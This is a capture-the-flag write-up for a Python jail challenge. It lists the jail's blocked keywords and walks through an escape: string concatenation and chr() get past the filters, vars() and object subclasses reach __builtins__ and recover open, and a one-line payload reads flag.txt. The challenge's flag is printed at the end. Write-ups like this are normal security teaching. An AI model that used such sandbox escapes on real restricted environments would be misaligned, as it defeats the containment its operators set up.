Sonnet Jail - Writeup Link to heading

Challenge Link to heading

  • Name: Sonnet Jail
  • Category: Misc / PyJail
  • Description: "I told Sonnet create me a creative pyjail even you can't solve, does it make the job?"
  • Goal: Read ./flag.txt

Reconnaissance Link to heading

Connecting to the service presents a Python REPL with several restrictions:

>>> print(1+1)
2
>>> print(open("flag.txt").read())
[blocked] no dots
>>> print(open("flag" + chr(46) + "txt"))
[blocked] 'open' is blocked

Blocked keywords Link to heading

KeywordMessage
. (dot character)no dots
open'open' is blocked
eval'eval' is blocked
exec'exec' is blocked
dir'dir' is blocked
getattr'getattr' is blocked
hasattr / setattr / delattrblocked
__builtins__blocked
__import__blocked
globalsblocked
breakpointblocked
compileblocked
inputblocked
__subclasses__blocked string
__init__blocked string
flagblocked string

Allowed builtins Link to heading

print, type, chr, isinstance, vars, list, map, filter, zip, object, bytes, int, str, range, enumerate, len, tuple, set, dict, frozenset, hex, oct, ord, bin, abs, round, sorted, reversed, min, max, sum, any, all, bool, float, complex, super, staticmethod, classmethod, property, slice, memoryview, bytearray

Key Observations Link to heading

  1. No dots = no attribute access via . syntax
  2. vars() is allowed = can access __dict__ of any object via vars(obj)["key"], effectively replacing getattr()
  3. String concatenation bypasses keyword filters = "__" + "init" + "__" is not caught by the filter looking for __init__
  4. chr() bypasses character/string filters = chr(102)+chr(108)+chr(97)+chr(103) produces "flag" without the literal appearing in source

Exploit Chain Link to heading

Step 1 - Get object.__subclasses__() without dots or blocked strings Link to heading

vars(type)["__" + "subclasses" + "__"](object)

vars(type) returns type.__dict__, from which we grab __subclasses__ (a descriptor) and call it on object.

Step 2 - Find os._wrap_close (index 142) Link to heading

sc = vars(type)["__" + "subclasses" + "__"](object)
wc = sc[142]  # <class 'os._wrap_close'>

Step 3 - Traverse to __builtins__ via __init__.__globals__ Link to heading

init = vars(wc)["__" + "init" + "__"]

To access init.__globals__ without dots or getattr, we use object.__getattribute__ (not keyword-blocked):

ga = vars(object)["__getattribute__"]
g = ga(init, "__" + "globals" + "__")

Step 4 - Recover open from __builtins__ Link to heading

b = g["__" + "builtins" + "__"]
o = b["op" + "en"]

Step 5 - Read the flag Link to heading

Build "flag.txt" with chr() to avoid the blocked string flag and the blocked character .:

fn = chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+"txt"  # "flag.txt"
f = o(fn)
print(ga(f, "re" + "ad")())

Final Payload (one-liner) Link to heading

sc = vars(type)["__" + "subclasses" + "__"](object); wc = sc[142]; init = vars(wc)["__" + "init" + "__"]; ga = vars(object)["__getattribute__"]; g = ga(init, "__" + "globals" + "__"); b = g["__" + "builtins" + "__"]; o = b["op" + "en"]; fn = chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+"txt"; f = o(fn); print(ga(f,"re" + "ad")())

Flag Link to heading

CyCTF{Xf6uHrmRdeqCv1stawLP4j376hZk9R1K0PYAqVQeRwONGIllyJ4ddCuv6e-PvmPkLunw6nCVbPha5C78kI-uOPAUqb91KtR_IK0}